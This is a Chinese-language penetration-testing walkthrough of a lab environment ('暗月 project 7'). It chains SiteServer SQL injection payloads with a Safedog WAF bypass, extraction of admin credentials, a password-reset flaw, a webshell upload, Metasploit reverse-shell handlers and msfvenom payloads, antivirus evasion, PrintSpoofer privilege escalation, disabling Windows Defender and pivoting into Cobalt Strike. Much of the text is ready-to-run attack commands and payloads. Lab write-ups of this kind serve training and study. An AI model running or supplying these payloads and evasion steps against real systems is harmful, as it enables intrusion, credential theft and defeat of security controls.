admin管理员组

文章数量:1637858

暗月渗透实战靶场-项目七

环境配置

使用的是暗月提供的环境

直接虚拟机运行即可

设置网络环境

配置完成即可

网络拓扑

网络测试

外网

对于外网的主机144、我们是无法进行ping的、防火墙是拦截了ping的数据包的

我们可以直接访问、能访问成功说明外网的环境配置没有问题

内网

由于内网防火墙的设置、也是禁用了ping命令的

web机与OA办公机是无法互相ping的、验证的方式只能是通过直接访问其ip的80、端口即可

域控

域控机器是没有设置防火墙的、也没有禁用ping、可以直接ping测试、

00x1-信息搜集

IP确认

(内网是使用netdiscover、外网是使用ping查看或者是网站查询)

netdiscover
sudo netdiscover -i eth0 -r 192.168.1.0/24 

端口扫描

masscan
sudo masscan -p 1-65535 192.168.1.150 --rate=1000

nmap
sudo nmap -p 21,80,999,6588,5985 -sS -sC -v -A 192.168.1.114 -oA 114

这里我们还发现了目标机使用的dns解析的地址信息

由于前面我们在访问的时候就知道是访问不了的肯定是需要进行域名的绑定的

再次访问

网站有安全狗

whataweb查询网站的cms

whatweb www.moonlab

WAF拦截

查询网站目录信息

使用dirsearch
python3 dirsearch.py  -u "www.moonlab" -t 1 -e*

由于有waf的存在这里要注意扫描的速度不能太快
小插曲

但是我们在使用的时候发现dirsearch是没有办法进行扫描的、直接就是报错

意思就是访问不到目标

但是网站是真实存在的

这个当时自己扫的时候一直是报错、一度怀疑是源码的问题、弄了半天原来是url的问题

使用gobuster
gobuster dir -u http://www.moonlab -w /usr/share/wordlists/dirb/big.txt -t 50 

和上面的扫描同款问题

使用dirmap
python3 dirmap.py -i http://www.webhack123 -lcf

并发过高会被拦截

使用工具进行扫描的时候都是没有办法进行的.

学着样子自己写一个目录遍历的脚本

#encoding:utf-8
from cgitb import reset
import requests
import sys
import time

# url = "http://www.moonlab"

with open ('dicc.txt','r',encoding='UTF-8') as readfile:
  for dirs in readfile.readlines():
    url = 'http://www.moonlab/'+dirs.strip('\n')
    resp = requests.get(url)
    strlen = len(resp.text)
    print(url+'---statu---'+str(resp.status_code)+'---lens---'+str(strlen))
    #sys.exit()
    time.sleep(2)
    if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500 or resp.status_code == 301:
      if str(strlen) !=  "2939":
        with open('url.txt','a',encoding='UTF-8') as writefile:
          writefile.write(url+'---statu---'+str(resp.status_code)+'---lens---'+str(strlen)+'\n')

然后我们找到一些相关的文件

访问

00x2-漏洞利用

steserver后台管理页面泄露

查看当前版本

漏洞查询

然后进行相关漏洞的一些搜索

后台sql注入

发现在steserver中确实是存在sql注入

这里找到两个

https://github/w-digital-scanner/w9scan
https://github/hmoytx/WVS

但是后者没有前者的稳定好用、我们这里使用的是前者W9Scan

找到steserver的相关poc

poc测试

修改版

import requests

ps=[
        'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
        'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
        'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
        'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
        'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
        'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
        ]
for p in ps:
    url="http://www.moonlab/"+p
    res = requests.get(url)
    if res.status_code==500 and "GAOJIMicrosoft" in res.text:
      print(url+'\n')
      print('-------------------------------'+'\n')
      print(res.text)

关于上面的WVS的poc检测也是一样的

找到能用的payload

http://www.moonlab/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--

访问

安全狗绕过

已经确认的安全语句

http://www.moonlab/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--
url解码
http://www.moonlab/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and char(71)+char(65)+char(79)+char(74)+char(73)+@@version=2; --

上面的十六进制解码

然后尝试查询数据库名称

http://www.moonlab/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)and%20db_name()=2;%20--

sql注入被拦截

绕过

使用按位取反绕过

=~1

参考连接
按位取反绕过防火墙
http://cn-sec/archives/317348.html
安全狗绕过:
https://xz.aliyun/t/8000
https://xz.aliyun/t/7572
https://cloud.tencent/developer/article/1674113
绕过测试
http://www.moonlab/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)and%20db_name()=~2;%20--

查询数据库用户密码

针对数据库中的用户名密码来查询

前面我们已经知道这个是个steserver的框架、对于数据结构我们可以直接在搜索引擎上进行搜索

这里直接列出该数据表的功能

确定数据库用户名密码所在的数据表

进行查询

这里为了防止安全狗、我们一次查询的数量不会太多、一次一条

select top1 username from [msmoonlab].[msmoonlab].[bairong_Administrator]

测试

安全狗拦截

取反放在前面测试

?UnLock=sdfe'&UserNameCollection=test')and ~1= select top 1 username  from [msmoonlab].[msmoonlab].[bairong_Administrator]; --

可以过安全狗、但是语句说是select附近出现错误

加括号

成功执行

查询到用户名

admin

?UnLock=sdfe'&UserNameCollection=test')and ~1=(select top 1 username  from [msmoonlab].[msmoonlab].[bairong_Administrator]); --
查询密码
?UnLock=sdfe'&UserNameCollection=test')and ~1=(select top 1 password from [msmoonlab].[msmoonlab].[bairong_Administrator]); --

密码

64Cic1ERUP9n2OzxuKl9Tw==
查询加密方式
?UnLock=sdfe'&UserNameCollection=test')and ~1=(select top 1 PasswordFormat from [msmoonlab].[msmoonlab].[bairong_Administrator]); --

加密方式

Encrypted

查询加密盐值

?UnLock=sdfe'&UserNameCollection=test')and ~1=(select top 1 [PasswordSalt] from [msmoonlab].[msmoonlab].[bairong_Administrator]); --

盐值

LIywB/zHFDTuEA1LU53Opg==

查询加密方式

源码审计

DLL反编译

进行全局的查找

查找相应的加密方式、

编写解密

后台找回密码漏洞

参考

http://cn-sec/archives/71636.html
https://wwwblogs/peterpan0707007/p/8721094.html
https://blog.tangwebsafe/2021/03/23/%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E-%E9%AA%8C%E8%AF%81%E7%A0%81%E7%BB%95%E8%BF%87%E3%80%81%E5%AF%86%E7%A0%81%E6%89%BE%E5%9B%9E%E6%BC%8F%E6%B4%9E/

后台找回密码

抓包

将问题答案设置为空

直接将后台密码带出来

00x3-进入后台-上传shell

进入后台

查找webshell上传点

刚开始在内容模块上传文件是不行的、上传的文件都会被安全狗咬死的、

只能是找一些上传压缩包的地方、等到用的时候自动解压

站点模块管理是可以的

上传webshell

上传

自己不会写过狗的shell、5555555555、只能直接拿冰蝎的马试试能不能过了

连接
http://www.moonlab/SiteFiles/SiteTemplates/shell/shell.aspx
rebeyond

拿下

嫖的过狗马

使用蚁剑进行连接

00x4-信息搜集

信息搜集

冰蝎

主机信息
systeminfo

ip

两块网卡有东西

端口
netstat -ano

开启的服务
net start

查找对我们提权有帮助或者是又阻碍的服务
阻碍
safedog    安全狗
Defender   win自带的杀毒
firewall   防火墙

帮助
MySQL   提权
SQLserver 提权
Print Spooler   打印机服务提权
开启的进程
tasklist

防护进程

查看用户信息
whoami /all

SeImpersonatePrivilege        身份验证后模拟客户端 已启用      这个服务能够帮助我们提权

上MSF

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 9090
show options
run

连接

做个隧道
添加路由:

查看全局路由器
run get_local_subnets
添加10段的路由信息
run autoroute -s 10.10.1.0/24
查看添加的路由表信息
run autoroute -p

添加代理
use auxiliary/server/socks_proxy
show options
设置代理
set SRVPORT 5555
run

测试
proxychains4 curl 10.10.1.130

MSF转到CS

先将msf上获得的session放到后台运行
background
然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中

设置新的payload
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.1.130    //cs主机地址
set LPORT 6060    //随意设置监听端口,需要和cs保持一致
set session 1    //设置需要派送的meterpreter
set DisablePayloadHandler true    //禁止产生一个新的handler

00x5-Windows server-2016漏洞提权

上面的防护软件我们已经清楚了、对于我们能过够利用提权的一些进程我们也已经查看了

搜索相关提权方法

我们可以利用的poc还是挺多的、但是安全狗的免杀也是很重要的

这里我们使用的是Windows的打印机漏洞、这个漏洞在20、21年都一直在爆0day

参考
https://wwwblogs/trevain/p/13672443.html
http://caidaome/?post=285
免杀

上面介绍的都是使用dll动态链接库来做反弹的、但是这种上传上去就会被安全狗杀

这里使用上面的Print Spooler免杀

上传poc

这里我们得到的shell的用户权限是很小的、打开的终端也是不能查看文件切换目录的、所以我们在上传文件的时候要注意上传到最小用户也能读能执行的目录下、和Linux一样需要上传到Temp目录

执行

查看权限

printspoofer1.exe -i -c "whoami"

通过poc我们可以是system权限、但是没有办法

使用教程
https://github/itm4n/PrintSpoofer

我们使用poc开一个system权限的cmd进程、考虑在使用cs注入一个system的smb通道

PrintSpoofer.exe -i -c cmd

但是在cs上却不行

这种进程是用不了的

制作免杀攻击载荷

先制作反向代理的攻击载荷
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=6061 -e x86/shikata_ga_nai -i 20 -f c -o payload3.c

MSF设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6061
exploit -j
攻击载荷进行shellcode编译
使用到的工具掩目
工具地址
https://github/1y0n/AV_Evasion_Tool
编译

生成免杀

上传

结果被windows杀软查杀

斗智斗勇阶段

被windows的杀软直接给杀了

然后使用掩目就不断的尝试变换shell一直都是不行的

中间又经过了两个小时

灵光一现

既然我们绕过不杀软、为何不直接将他杀了

开始想办法

终于功夫不负有心人

大佬就20小时前刚写的工具

https://github/APTortellini/DefenderSwitch

直接上

我们先利用打印机漏洞获取一个system的cmd

工具上传

执行

牛蛙牛蛙

直接关闭了Windows Defender Service

再次上传攻击载荷

再次上传我们msfvenom生成的攻击载荷

再次经过掩目做免杀、生成exe

上传

上传成功

Defender终于闭嘴了、狗哥也没有反应

执行exe

成功反弹session会话

system权限

注入系统进程

注入一个administrator的进程

在注入一个system的进程

转到CS

先将msf上获得的session放到后台运行
background
然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中

设置新的payload
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST 192.168.1.130    //cs主机地址
set LPORT 6060    //随意设置监听端口,需要和cs保持一致
set session 1    //设置需要派送的meterpreter
set DisablePayloadHandler true    //禁止产生一个新的handler

cs上线

转移进程

写在最后

欢迎大家加入星球一起学习、里面有各种红队资源、工具、各种小技巧啊!

本文标签: 靶场实战暗月项目